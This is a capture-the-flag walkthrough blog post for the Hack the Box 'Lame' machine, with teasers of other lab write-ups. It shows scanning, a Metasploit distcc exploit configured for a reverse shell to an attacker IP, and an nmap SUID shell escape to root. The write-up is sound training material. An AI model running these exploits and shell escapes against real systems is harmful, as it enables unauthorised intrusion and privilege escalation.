Hack the Box - Lame - Walkthrough

Introduction

Today we're going to be doing a pentest walkthrough of the Lame machine hosted at https://hackthebox.eu .  For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the Lame machine as the victim system.  After connecting to the Hack the Box network via VPN, we see that our target is located at 10.129.95.155.

Scanning and Enumeration

We'll start by scanning for open ports with Nmap:

sudo nmap -T4 -p- 10.129.95.155


And then one more scan with Nmap to enumerate specific ports and services:

sudo nmap -sV -T4 -p21,22,139,445,3632 10.129.95.155


Finding a Way In

Distccd v1, running on TCP port 3632, is an uncommon service.  We search to see if it's vulnerable:

Google search string: distccd v1 exploit


https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec/


We see here that there's a Metasploit module associated with this exploit.  So we start up the Metasploit Framework and setup the module:

sudo msfconsole
use exploit/unix/misc/distcc_exec
set rhosts 10.129.95.155
set payload cmd/unix/reverse
set lhost 10.10.99.99
run
whoami

Getting the User Flag

Since this is a Hack the Box, machine. We'll take this opportunity to collect the User.txt flag.  On Linux systems, it's usually located in one of the user's Home directories:  On this machine, it's located in the makis user's.

cd /home
cd makis
cat user.txt

Privilege Escalation

After a bit of poking, we see that there is a dangerous SUID binary on the system:

find / -perm -u=s -type f 2>/dev/null

<snipped>


The Nmap binary can be exploited to gain root access if it has the SUID bit set by spawning a shell inside of it:

nmap --interactive
!sh
whoami


Collecting the Root Flag

The root flag on Hack the Box's Linux machines is usually located in the root directory:


Summary

The Lame machine was running a vulnerable version of the Distcc service, which we exploited to gain a reverse shell via Metasploit.  Once on the victim system, we found that an insecure Nmap binary had its SUID bit set, which allowed us to gain root access by spawning a shell from within execution of the binary.

Finish




































Comments

Post a Comment

Popular posts from this blog

TryHackMe - Windows PrivEsc - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Windows PrivEsc room hosted at https://tryhackme.com/room/w indows10privesc . For this walkthrough, we'll be using two virtual machines (VMs), a Kali Linux VM as our attacking machine, and the deployed Windows 10 client as the the victim machine. Task 1 - Deploy the Vulnerable Windows VM Press the green button here: The Windows machine should come online after a minute or two. The IP address of the machine can be found here: Of course, the actual IP address will probably be a different one from the one in the screenshot.  For the examples, however, we will use the IP address of 10.10.227.113 RDP should be available on port 3389 (it may take a few minutes for the service to start). You can login to the "user" account using the password "password321": xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.227.113 Questions: Deploy the Windows VM and login using the "user" ...
Read more

TryHackMe - Reversing Elf - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Reversing ELF room hosted at https://tryhackme.com/room/ reverselfiles . For this walkthrough, we'll be using one virtual machine (VMs), a Kali Linux VM as our attacking machine. Task 1 - Crackme1 Questions What is the flag? Download the Task 1 Task File Copy it to your working directory Give the file executable permissions Run the file chmod +x crackme1 ./crackme1 Task 2 - Crackme2 Questions What is the super secret password ? Give the file executable permissions Run Ltrace on the file with a test string chmod +x crackme2 ltrace ./crackme2 test ./crackme2 passwordFoundInPreviousStep Task 3 - Crackme3 Questions What is the flag? Give the file executable permissions Run strings on the file Echo the base64 string you found, pipe it into Base64 decode chmod +x crackme3 strings crackme3 echo “ base64stringFoundInPreviousStep ” | base64 -d Task 4 - Crackme4 Questions What is the password ? Give the file execu...
Read more

TryHackMe - Web Enumeration - Walkthrough

Image
Introduction Today we're going to be doing a walkthrough for the Web Enumeration room hosted at https://tryhackme.com/room/ webenumerationv2 . For this walkthrough, we'll be using two virtual machines (VMs), the TryHackMe AttackBox VM as our attacking machine, and the deployed vulnerable Web clients as the the victim machines. Task 1 - Introduction Questions: Let's get started No answer needed Task 2 - Manual Enumeration Questions I gotcha! No answer needed Task 3 - 1. introduction to Gobuster Questions No questions No answer needed Task 4 - 1.1 Gobuster Modes Questions I get the hang of it! No answer needed Task 5 - 1.2 Useful Wordlists Questions No questions No answer needed Task 6 - 1.3 Practical: Gobuster (Deploy #1) Questions Run a directory scan on the host. Other than the standard css, images and js directories, what other directories are available? echo “10.10.164.99 webenum.thm” >> /etc/hosts gobuster dir -t 16 -u http://webenum.thm -w /usr/sha...
Read more